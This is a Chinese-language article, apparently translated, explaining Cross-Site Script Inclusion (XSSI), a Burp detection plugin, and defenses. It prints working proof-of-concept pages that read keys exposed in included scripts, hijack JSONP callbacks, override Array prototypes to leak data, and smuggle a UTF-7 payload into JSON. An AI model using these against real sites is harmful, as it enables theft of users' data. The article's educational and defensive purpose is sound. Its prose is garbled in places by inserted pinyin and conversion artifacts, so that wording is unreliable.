XSSI: 一個(gè)不出名但是影響廣泛的Web漏洞
前言
找到一個(gè)特定類別漏洞兩個(gè)關(guān)鍵組成部分:對漏洞的認(rèn)識(shí)和找到漏洞的難易。 跨站腳本包含(XSSI)漏洞在事實(shí)上的公共標(biāo)準(zhǔn)即:OWASP TOP 10中并未被提及。 另外并沒有公開的利用的工具來促進(jìn)找到XSSI。它的影響范圍從泄露個(gè)人存儲(chǔ)信息,基于TOKEN的協(xié)議的規(guī)避到完成帳戶的妥協(xié)(猜測意思是應(yīng)該繞過登錄)。 XSSI漏洞相當(dāng)廣泛, 由于檢測手段的缺失增大了每一個(gè)XSSI漏洞的風(fēng)險(xiǎn)。 在這篇文章中我將演示如果找到XSSI,利用XSSI和如何防護(hù)XSSI漏洞。
背景知識(shí)
這一部分是來講清楚源和同源策略(SOP)的。如果了解這一部分的可以跳過。
源的概念和基于源的Web內(nèi)容隔離安全機(jī)制(即同源策略)由Netscape在引入JAVASCRIPT的時(shí)候一同引入。SOP定義了文檔是如何相互影響的。當(dāng)兩個(gè)文檔屬于同一個(gè)源時(shí),它們可以相互訪問。這實(shí)際上是WEB安全的基礎(chǔ)。源被大多數(shù)瀏覽器定義為端口,域名和協(xié)議。 而微軟的IE瀏覽器是一個(gè)例外,它不包括端口。它有自己的安全意義。下邊的表是由(Mozilla Developer Network)用URL:http://store.company.com/dir/page.html描述了用于SOP的最通用的規(guī)則。
由于多家瀏覽器廠商在文檔間的相互作用沒有一個(gè)共同的標(biāo)準(zhǔn),所以內(nèi)容隔離是一件非常必要的事情。對于更多信息:安全研究員Michal Zalewski在他的書Tangled Web中有一章的內(nèi)容都是在寫這個(gè)問題。
XSSI
Cross-Site Scrite Inclusion(XSSI),一個(gè)有些無形但是描述性的名字,指定了一類漏洞:當(dāng)資源用script標(biāo)簽來包含時(shí),SOP就失效了,因?yàn)槟_本必須能夠包含跨域。因此一個(gè)攻擊者可以讀取用script標(biāo)簽包含的所有內(nèi)容。
當(dāng)談到動(dòng)態(tài)的JavaScript和jsonp,所謂的權(quán)限信息(如cookie)用于身份驗(yàn)證時(shí)會(huì)顯得特別有趣。Cookies 與 CSRF一樣,從不同的主機(jī)來請求時(shí)會(huì)被包含。這個(gè)漏洞在上述的Michal Zalewski的書中的腳注與Sebastian Lekies等人的paper的腳注中被提到。
根據(jù)script中數(shù)據(jù)的內(nèi)容不同,XSSI可以有不同的利用方式。在廣泛傳播的敏感數(shù)據(jù)是個(gè)人信息如e-mail, 郵件地址, 生日等。 但是也可以發(fā)現(xiàn)tokes, session id,與其它的ID如UID。 最簡單的利用方式是檢查一個(gè)用戶是否已經(jīng)登錄(登錄 oracle)。獲得的信息可以在社會(huì)工程或者其它的特定方式的攻擊中被濫用。
與XSS與CSRF的界限
XSSI在命名上與XSS相近,在描述上與CSRF相近。它仨之間的共同點(diǎn)即同為客戶端攻擊。
與XSS的不同是很容易理解的:在一個(gè)XSS的中,惡意代碼被放置在受害者的頁面,而XSSI中受害者的代碼被包含在一個(gè)惡意頁面中。 而表面上看XSSI與CSRF是很相似的,因?yàn)樗鼈兌际且粋€(gè)由惡意頁面的請求至另一個(gè)域,而且這兩種情況下,請求都是在用戶已經(jīng)登錄的情況下執(zhí)行的。 而最關(guān)鍵的不同點(diǎn)在于目的。在CSRF中,攻擊都想要受害者的頁面中執(zhí)行一個(gè)狀態(tài)改變的動(dòng)作,比如在一個(gè)在線銀行應(yīng)用中進(jìn)行轉(zhuǎn)帳。在XSSI中攻擊者想要跨域泄露數(shù)據(jù),以便然后再執(zhí)行上述的攻擊。
搜索,找到和利用
當(dāng)搜索XSSI時(shí),需要區(qū)分四種情況。但是幸運(yùn)的是利用方式是相似甚至是相同的(就像反射與存儲(chǔ)的XSS)。我們可以將四種情況區(qū)分如下:
1. 靜態(tài)的JavaScript(正常XSSI)
2. 靜態(tài)的JavaScript,但是僅在認(rèn)證后可訪問
3. 動(dòng)態(tài)JavaScript
4. 非JavaScript
正常的XSSI
當(dāng)一個(gè)可公開訪問的靜態(tài)腳本包含敏感信息時(shí),都可以認(rèn)為是一個(gè)常規(guī)的XSSI。在這種情況下,幾乎只有通過讀文件來檢測這種問題。也可以用啟發(fā)式,并用正則表達(dá)式來找到私鑰,社?;蛘咝畔⒖◣ぬ?hào)。但是一旦情況被確定,利用通常是微不足道的。讓我們假設(shè)敏感內(nèi)容設(shè)定在一個(gè)全局變量中,如下面的現(xiàn)實(shí)例子(替換的私鑰):
- var privateKey = "-----BEGIN RSA PRIVATE KEY-----\
- MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs\
- XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG\
- 0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH\
- FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM\
- IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er\
- sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b\
- TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m\
- M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+\
- VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S\
- F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG\
- TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa\
- 6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE\
- Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO\
- sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm\
- DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F\
- qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl\
- q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5\
- ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl\
- HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr\
- mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn\
- nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF\
- ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St\
- dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK\
- pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi\
- TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=\
- -----END RSA PRIVATE KEY-----",
- keys = [
- { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
- { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
- ];
簡單的將它包含在你的頁面然后讀變量:
- <html>
- <head>
- <title>Regular XSSI</title>
- <script src="https://www.vulnerable-domain.tld/script.js"></script>
- </head>
- <body>
- <script>
- alert(JSON.stringify(keys[0]));
- </script>
- </body>
- </html>
基于xssi的動(dòng)態(tài)JavaScript 與認(rèn)證的JavaScript的xssi
這兩類有不同的技術(shù)背景,雖然這對測試者來說并無關(guān)系。幸運(yùn)的是其發(fā)現(xiàn)與利用是相似的。我寫了一個(gè)名叫DetectDynamicJSburp插件, 這個(gè)插件主要是在審計(jì)期間為滲透測試人員進(jìn)行 web應(yīng)用檢測。
所有的腳本文件是被動(dòng)掃描的。之后這個(gè)文件會(huì)被重新請求,只不過這次沒有cookie。如果接收的文件與原來的文件兩個(gè)文件不同,那么將會(huì)在target標(biāo)簽中標(biāo)記等級(jí)為Information 。它能找到動(dòng)態(tài)JavaScript與那些當(dāng)用戶認(rèn)證后才能訪問的到的JavaScript。之所以標(biāo)記為Information ,是因?yàn)閯?dòng)態(tài)JavaScript并不一定有安全風(fēng)險(xiǎn)。它可以用來處理用戶數(shù)據(jù),服務(wù)引導(dǎo),在復(fù)雜應(yīng)用中設(shè)置變量和與其他的服務(wù)(如追蹤)來共享數(shù)據(jù)。
想知道一個(gè)文件是否是腳本,那么就需要過濾器了。這個(gè)過濾器在經(jīng)歷不斷變化且正在不斷發(fā)展著。目前這個(gè)插件檢查文件擴(kuò)展名為.js,.jsp,與.json。 .json并不是一個(gè)正確的腳本擴(kuò)展名,甚至不是jsonp, 但是這并不妨礙開發(fā)者對它的濫用。
為了減少誤報(bào),原始文件的第一個(gè)字符判斷不為{,因?yàn)檫@目前并不是一個(gè)有效的腳本語法。同時(shí)對content-type檢查是否包含 javascript, jscript,
ecmascript和json。過濾器也可以識(shí)別burpsuite的mimetype識(shí)別方法。如果在stateMimeType或者inferredMimeType中包含script,那么它就會(huì)被掃描。旁注:該擴(kuò)展是在burp的1.6.39版本前開發(fā)的,其中對檢測機(jī)制進(jìn)行改進(jìn)。盡管如此,也偶爾無法檢測到j(luò)avascript文件。一些過濾器肯定是多余的,但是經(jīng)驗(yàn)表明如果試圖減少一些過濾器會(huì)導(dǎo)致漏報(bào)。為了進(jìn)一步減少誤報(bào),則檢查原始文件的HTTP響應(yīng)代碼不是來自30-X。另一個(gè)減少誤報(bào)的方法:如果第二版的文件(未經(jīng)認(rèn)證得到的文件)是一個(gè)腳本(非html)且和原始文件不同,那就發(fā)送第二次的未認(rèn)證的請求,來獲得第三版的文件。如果兩個(gè)未經(jīng)認(rèn)證的文件以不同的響應(yīng)結(jié)束,那么我們可以總結(jié)說這是一個(gè)通用的動(dòng)態(tài)腳本且不依賴認(rèn)證。這種情況經(jīng)常在時(shí)間戳和廣告中出現(xiàn)。
利用
xssi可以在用戶已經(jīng)認(rèn)證的上下文中來竊取私鑰等。濫用的情況受到開發(fā)者想像的限制。但是有些情況反復(fù)出現(xiàn),所以我想說明的是這些情況。
變量如果置于全局命名空間,那么它們很容易被讀取。
函數(shù)的重寫即使對于一個(gè)javascript新手來說也不應(yīng)該成為一個(gè)問題。下面的示例來自于一個(gè)真實(shí)的案例。網(wǎng)站使用jsonp來回調(diào)配置頁面的用戶數(shù)據(jù)。
- angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
為了得到信息, function _7 必須被重寫.
- <script>
- var angular = function () { return 1; };
- angular.callbacks = function () { return 1; };
- angular.callbacks._7 = function (leaked) {
- alert(JSON.stringify(leaked));
- };
- </script>
- <script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
也可以適用于全局函數(shù)。 在這個(gè)例子中,甚至不需要重寫函數(shù),只需要提供一個(gè)自己的callback函數(shù)。
- <script>
- leak = function (leaked) {
- alert(JSON.stringify(leaked));
- };
- </script>
- <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
如果一個(gè)變量并沒有在全局命名空間,那么有時(shí)候也可以能過prototype tampering來利用。prototype tampering濫用在javascript的設(shè)計(jì)中,也就是當(dāng)解釋代碼時(shí),javascript會(huì)遍歷prototype 鏈來找到調(diào)用的屬性。 下面的例子是在論文The Unexpected Dangers of Dynamic JavaScript 中提取的。演示如何覆蓋類型Array的相關(guān)函數(shù)并訪問它,非全局變量也可以泄漏。
- (function(){
- var arr = ["secret1", "secret2", "secret3"];
- // intents to slice out first entry
- var x = arr.slice(1);
- ...
- })();
在原始代碼中,在原始的代碼中我們可以通過slice訪問數(shù)組中我們感興趣的數(shù)據(jù), 當(dāng)然攻擊者可以,如上所說的,重寫slice函數(shù)以竊取信息。
- Array.prototype.slice = function(){
- // leaks ["secret1", "secret2", "secret3"]
- sendToAttackerBackend(this);
- };
安全調(diào)查員Sebastian Lekies剛剛更新了他的列表。
非腳本的xssi
Takeshi Terada 在他的論文Identifier based XSSI attacks中描述了另一種類型的xssi,通過在腳本標(biāo)簽中包含CSV文件作為源,使用數(shù)據(jù)作為變量和函數(shù)名稱,能夠跨源地泄露非腳本文件。
第一起公開描述xssi的文檔是在2006年。 Jeremiah Grossman的博客 Advanced Web Attack Techniques using GMail 描述了一個(gè)xssi,可能重寫array的構(gòu)造函數(shù)可以讀取到所有g(shù)oogle帳號(hào)的地址。
在2007年, Joe Walker出版了JSON is not as safe as people think it is 。 他使用了同樣的手段來竊取一個(gè)array內(nèi)的json信息。
也有一些其他相關(guān)的攻擊是由將utf-7編碼的內(nèi)容注入到j(luò)son中以逃避json格式來進(jìn)行的。是由Gareth Heyes, Hackvertor的作者, 在他的博客JSON Hijacking 在2011年提出的。在快速測試中,這仍然可能出現(xiàn)了ie和edge中,但是firefox或者chrome并無此問題。
JSON with UTF-7:
- [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
在攻擊者的頁面包含json:
- <script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
XSSI的防護(hù)
開發(fā)者永遠(yuǎn)也不要把敏感數(shù)據(jù)放在javascript文件中, 也不要放在jsonp中。這就已經(jīng)可以阻止1-3這三大類型的大部分攻擊。類型4的漏洞問題通常通過瀏覽器一方來修復(fù)。無論如何,將用戶信息保存到j(luò)son文件然后讀取的行為應(yīng)該被禁止。
Takeshi Terada論文中描述的最大的bug被修復(fù)了。然而總是可能再一次發(fā)現(xiàn)相似的bug。至少這可以通過告訴瀏覽器不要再猜測content-type來阻止一部分。一些瀏覽器可以接受尚未標(biāo)準(zhǔn)化的http響應(yīng)頭X-Content-Type-Option:nosniff來做這些。一個(gè)正確的Content-Type對于減少xssi的可能性也有幫助。